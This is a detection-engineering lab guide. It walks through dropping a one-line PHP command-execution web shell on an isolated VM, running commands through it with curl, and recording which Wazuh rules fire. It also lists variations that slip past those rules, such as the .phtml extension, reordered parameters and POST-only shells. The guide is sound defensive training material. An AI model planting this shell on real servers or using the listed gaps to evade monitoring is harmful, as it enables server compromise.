SOC L1 LAB · INC-003

Attack Setup Guide — INC-003

Dropping and using a PHP web shell, inside the isolated lab

INCIDENT	INC-003 — Web shell dropped and executed
REPORT DATE	2026-11-01
CLASSIFICATION	Lab exercise — sanitized for publication
ENVIRONMENT	Wazuh 4.14.7 · Debian 12 · QEMU/KVM
SEVERITY	High

Independent portfolio lab. No production systems, client data, or real credentials.

Contents

1. Authorization and safety
2. Topology and assumptions
3. Phase 0 — Clean state
4. Phase 1 — Legitimate traffic
5. Phase 2 — Drop the shell
6. Phase 3 — Execute
7. Phase 4 — Capture evidence
8. Phase 5 — Cleanup
9. Expected detections
10. Variations for detection testing
11. Why this is realistic
12. Legal and ethical notes

A step-by-step script for reproducing INC-003 **inside the lab**. It is for testing detection and response, not for use against systems you do not own.

---

1. Authorization and safety

Rule	Detail
Scope	Only the `soc-victim` VM on `10.0.2.0/24`
Never	Scan or attack any other host or network
Never	Use real credentials, malware, or employer data
Authorization	You own the host and the VM
Reversibility	Snapshot before the run; remove every file after
Payload	A three-line PHP test shell, no external C2

The scenario models an attacker who can write a file into the webroot. In a real incident that write might come from an upload form, a vulnerable plugin, a compromised deploy key, or a misconfigured share. The lab uses a direct copy so the detection question stays clear.

---

2. Topology and assumptions

```
Host 10.0.2.2
  ├── Wazuh manager / indexer / dashboard
  ├── HTTP client (curl)
  └── QEMU user network
        └── soc-victim 10.0.2.15
              nginx :80  ← forwarded from 127.0.0.1:8080
              PHP-FPM 8.2
              FIM: /var/www/html
              auditd: execve + file watches
```

Assumptions:

- Base lab from INC-001 is running.
- nginx and PHP-FPM are installed and PHP executes.
- `/var/www/html` is in FIM realtime.
- Rules 100127 and 100128 are deployed.
- The webroot contains only the normal site files.

```
export LAB="$HOME/Documents/Eterna/soc-l1-lab"
export VMKEY="$LAB/lab/vm/keys/id_ed25519"
```

```
export VM="analyst@127.0.0.1"
export VMPORT=2222
```

---

3. Phase 0 — Clean state

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
ls -la /var/www/html
systemctl is-active nginx php8.2-fpm'
```

Expected: no `.php` shell; both services active.

Snapshot:

```
cd "$LAB/lab/vm"
./snapshot.sh save pre-inc003
```

If a previous test left files, remove them:

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo rm -f /var/www/html/updates.php /var/www/html/updates2.php \
           /var/www/html/index.php /var/www/html/app.phtml \
           /var/www/html/legacy.php5 /var/www/html/style.css'
```

---

4. Phase 1 — Legitimate traffic

Start the routine SSH/sudo noise if it is not already running, then generate normal web requests:

```
END=$(( $(date +%s) + 180 ))
setsid /tmp/noise.sh "$END" >/dev/null 2>&1 &
sleep 20

curl -s -o /dev/null http://127.0.0.1:8080/
curl -s -o /dev/null http://127.0.0.1:8080/index.nginx-debian.html
curl -s -o /dev/null http://127.0.0.1:8080/does-not-exist
date -u +%FT%TZ > /tmp/inc003_start
```

The 404 produces stock rule 31101. It is the benign web noise the analyst must distinguish from the shell traffic.

---

5. Phase 2 — Drop the shell

```
cat > /tmp/updates2.php <<'PHP'
<?php system($_GET['cmd']); ?>
PHP

scp -q -i "$VMKEY" -P "$VMPORT" /tmp/updates2.php "$VM":/tmp/updates2.php

ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo cp /tmp/updates2.php /var/www/html/updates2.php
sudo chmod 644 /var/www/html/updates2.php
sudo sha256sum /var/www/html/updates2.php'
```

Expected hash:

```
50e626c8e31a460af48991b83dfd98c0b24f3a9d9e6eb906e961e77a2aecf15d
```

Expected detections:

- **100128** within a second: `.php` added;
- **80790** audit created the file;
- **80792** `cp`;
- **5402** `sudo cp`.

---

6. Phase 3 — Execute

```
curl -s 'http://127.0.0.1:8080/updates2.php?cmd=id'
curl -s 'http://127.0.0.1:8080/updates2.php?cmd=uname%20-a'
```

Expected:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux soc-victim ...
```

Then a known-tool request to exercise the network sensor:

```
curl -s -A 'sqlmap/1.7' -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:8080/updates2.php?cmd=id'
```

Expected detections:

- **100127** on each `.php?cmd=` request;
- **80792** `sh -c id`, `id`, `sh -c uname -a`, `uname -a`;
- **86601** `ET SCAN Sqlmap SQL Injection Scan` (may depend on flow/thresholds).

7. Phase 4 — Capture evidence

```
date -u +%FT%TZ > /tmp/inc003_end

docker exec single-node-wazuh.manager-1 cat /var/ossec/logs/alerts/alerts.json \
  > /tmp/alerts_all.json

python3 - <<'PY'
import json, datetime
start=datetime.datetime.fromisoformat("2026-10-31T22:12:15+00:00")
end=datetime.datetime.fromisoformat("2026-10-31T22:12:35+00:00")
rows=[]
for line in open('/tmp/alerts_all.json'):
    try: a=json.loads(line)
    except: continue
    if a.get('agent',{}).get('name')=='soc-victim' and \
       start <= datetime.datetime.fromisoformat(a['timestamp']) <= end:
        rows.append(a)
json.dump(rows, open('docs/evidence/INC-003-alerts.json','w'), indent=1)
print(len(rows), "alerts")
PY

ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'sudo grep -E "updates(2)?\.php" /var/log/nginx/access.log | tail -20' \
  > docs/evidence/INC-003-web.log
```

8. Phase 5 — Cleanup

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo rm -f /var/www/html/updates.php /var/www/html/updates2.php
sudo rm -f /tmp/updates.php /tmp/updates2.php
ls -la /var/www/html'
```

Expected: no shell files. If you snapshotted:

```
cd "$LAB/lab/vm"
./snapshot.sh load pre-inc003
```

9. Expected detections

Phase	Rule	Expected
Drop	100128	PHP file added, path and hash
Drop	80790	Audit created file
Drop	80792	`cp` command
Drop	5402	`sudo cp` by the admin
Use	100127	`.php?cmd=` request
Use	80792	`id` , `uname` as `www-data`
Use	86601	sqlmap signature (tool-dependent)
Noise	31101	unrelated 404

10. Variations for detection testing

10.1 Alternate extensions

```
printf '<?php echo 1; ?>\n' | sudo tee /var/www/html/app.phtml
printf '<?php echo 1; ?>\n' | sudo tee /var/www/html/legacy.php5
```

- `legacy.php5` contains `.php` , so **100128 fires**.
- `app.phtml` does not, so **100128 misses it**. That is a documented gap; add a separate rule or rely on a WAF.

10.2 Parameter order

```
curl -s 'http://127.0.0.1:8080/updates2.php?foo=1&cmd=id'
```

- **100127 does not fire.** The literal requires `.php?cmd=` at the first parameter. This is the most important gap to know about.

10.3 Legitimate `cmd` parameter

```
printf '<?php echo "ok"; ?>\n' | sudo tee /var/www/html/index.php
curl -s 'http://127.0.0.1:8080/index.php?cmd=status'
```

- **100128 fires** on the deploy (expected; attach the change ticket).
- **100127 fires** on the request (false positive if `cmd=status` is legitimate). Allow-list the path, do not remove the rule.

10.4 POST-only shell

A shell that reads `$_POST['cmd']` will not appear in the access log body. Neither rule sees the command. That requires application logging or a WAF; document it as a gap.

10.5 Shell outside the webroot

```
printf '<?php echo 1; ?>\n' | sudo tee /home/analyst/notes/app.php
```

- **100128 fires**, because the match is not restricted to `/var/www/html`. That is a false positive for a developer's notes and a real signal if PHP should never exist under `/home`.

---

11. Why this is realistic

- **The file is trivial.** A web shell does not need a sophisticated payload.
- **The 200 is the point.** Most web monitoring is tuned to errors and known tools; a successful shell request looks normal.
- **The web user is not root.** The incident is still serious: configs, credentials, and internal reachability are one step away.
- **Deployment noise is real.** Legitimate PHP releases trigger the same FIM rule.
- **The detection is layered.** File, process, and request each contribute.

---

12. Legal and ethical notes

- Run this only on the VM you created.
- The shell is a test file; do not use it against a real web server.
- Do not publish real hashes of production files or real internal hostnames.
- If you adapt this for an engagement, use written authorization and a scope document.